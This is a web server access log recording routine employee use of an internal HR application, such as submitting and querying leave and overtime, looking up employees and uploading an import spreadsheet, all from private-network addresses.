192.168.12.71 - - [25/May/2023:09:43:34 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4208 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.71 - - [25/May/2023:09:43:34 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4208
192.168.12.71 - - [25/May/2023:09:43:55 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 38101
192.168.12.71 - - [25/May/2023:09:43:55 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 38101 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.71 - - [25/May/2023:09:44:00 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 34772 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.71 - - [25/May/2023:09:44:00 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 34772
192.168.12.71 - - [25/May/2023:09:44:01 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 95361 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.71 - - [25/May/2023:09:44:01 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 95361
192.168.12.71 - - [25/May/2023:09:44:05 +0800] "GET /eHR/upload/userfile/ad18c011f27557f8d5d18b0aa22dfb7d.png?&openW=Y&rand=0.605376062910415 HTTP/1.1" 200 640261
192.168.12.71 - - [25/May/2023:09:44:05 +0800] "GET /eHR/upload/userfile/ad18c011f27557f8d5d18b0aa22dfb7d.png?&openW=Y&rand=0.605376062910415 HTTP/1.1" 200 640261 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.136 - - [25/May/2023:09:44:28 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7833 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0"
192.168.11.136 - - [25/May/2023:09:44:28 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7833
192.168.11.236 - - [25/May/2023:09:44:42 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.236 - - [25/May/2023:09:44:42 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.236 - - [25/May/2023:09:44:53 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 12325
192.168.11.236 - - [25/May/2023:09:44:53 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 12325 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.236 - - [25/May/2023:09:45:01 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 172147 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.236 - - [25/May/2023:09:45:01 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 172147
192.168.11.236 - - [25/May/2023:09:45:09 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.236 - - [25/May/2023:09:45:09 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.236 - - [25/May/2023:09:45:18 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6545053961787266 HTTP/1.1" 200 13392
192.168.11.236 - - [25/May/2023:09:45:18 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6545053961787266 HTTP/1.1" 200 13392 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.236 - - [25/May/2023:09:45:30 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6545053961787266 HTTP/1.1" 200 15567 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6545053961787266" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.236 - - [25/May/2023:09:45:30 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6545053961787266 HTTP/1.1" 200 15567
192.168.11.236 - - [25/May/2023:09:45:44 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4069 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.236 - - [25/May/2023:09:45:44 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4069
192.168.11.236 - - [25/May/2023:09:45:58 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.236 - - [25/May/2023:09:45:58 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.236 - - [25/May/2023:09:45:59 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.236 - - [25/May/2023:09:45:59 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.136 - - [25/May/2023:09:44:53 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 139
192.168.11.136 - - [25/May/2023:09:44:53 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 139 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0"
192.168.11.136 - - [25/May/2023:09:44:34 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 -
192.168.11.136 - - [25/May/2023:09:44:34 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 - "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0"
192.168.11.136 - - [25/May/2023:09:44:53 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 139 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0"
192.168.11.136 - - [25/May/2023:09:44:53 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 139
192.168.11.136 - - [25/May/2023:09:45:36 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 139 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0"
192.168.11.136 - - [25/May/2023:09:45:36 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 139
192.168.11.236 - - [25/May/2023:09:46:33 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.236 - - [25/May/2023:09:46:33 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.136 - - [25/May/2023:09:46:33 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7833
192.168.11.136 - - [25/May/2023:09:46:33 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7833 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0"
192.168.11.236 - - [25/May/2023:09:46:38 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.236 - - [25/May/2023:09:46:38 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.236 - - [25/May/2023:09:46:46 +0800] "GET /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.7648852327977538 HTTP/1.1" 200 5264 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.236 - - [25/May/2023:09:46:46 +0800] "GET /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.7648852327977538 HTTP/1.1" 200 5264
192.168.11.236 - - [25/May/2023:09:46:57 +0800] "POST /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.7648852327977538 HTTP/1.1" 302 -
192.168.11.236 - - [25/May/2023:09:46:57 +0800] "POST /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.7648852327977538 HTTP/1.1" 302 - "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.7648852327977538" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.236 - - [25/May/2023:09:47:08 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_import&id=3 HTTP/1.1" 200 14260 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.7648852327977538" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.236 - - [25/May/2023:09:47:08 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_import&id=3 HTTP/1.1" 200 14260
192.168.11.136 - - [25/May/2023:09:46:55 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 139
192.168.11.136 - - [25/May/2023:09:46:55 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 139 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0"
192.168.11.136 - - [25/May/2023:09:46:43 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 - "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0"
192.168.11.136 - - [25/May/2023:09:46:43 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 -
192.168.11.240 - - [25/May/2023:09:47:41 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 200 4051 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.240 - - [25/May/2023:09:47:41 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 200 4051
192.168.11.236 - - [25/May/2023:09:47:44 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 -
192.168.11.236 - - [25/May/2023:09:47:44 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 - "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.240 - - [25/May/2023:09:47:49 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 200 139
192.168.11.240 - - [25/May/2023:09:47:49 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 200 139 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.240 - - [25/May/2023:09:47:45 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 200 - "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.240 - - [25/May/2023:09:47:45 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 200 -
192.168.11.236 - - [25/May/2023:09:48:19 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22066
192.168.11.236 - - [25/May/2023:09:48:19 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22066 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.240 - - [25/May/2023:09:48:25 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 200 4051
192.168.11.240 - - [25/May/2023:09:48:25 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 200 4051 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.236 - - [25/May/2023:09:48:40 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8914960882989358 HTTP/1.1" 200 13392
192.168.11.236 - - [25/May/2023:09:48:40 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8914960882989358 HTTP/1.1" 200 13392 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.136 - - [25/May/2023:09:48:45 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 139 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0"
192.168.11.136 - - [25/May/2023:09:48:45 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 139
192.168.11.136 - - [25/May/2023:09:47:32 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 - "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0"
192.168.11.136 - - [25/May/2023:09:47:32 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 -
192.168.11.240 - - [25/May/2023:09:49:46 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 200 13444 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.240 - - [25/May/2023:09:49:46 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 200 13444
192.168.12.71 - - [25/May/2023:09:50:03 +0800] "GET /eHR/upload/userfile/ad18c011f27557f8d5d18b0aa22dfb7d.png?&openW=Y&rand=0.5778512340322932 HTTP/1.1" 200 640261 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.71 - - [25/May/2023:09:50:03 +0800] "GET /eHR/upload/userfile/ad18c011f27557f8d5d18b0aa22dfb7d.png?&openW=Y&rand=0.5778512340322932 HTTP/1.1" 200 640261
192.168.11.149 - - [25/May/2023:09:50:06 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH003&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 -
192.168.11.149 - - [25/May/2023:09:50:06 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH003&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
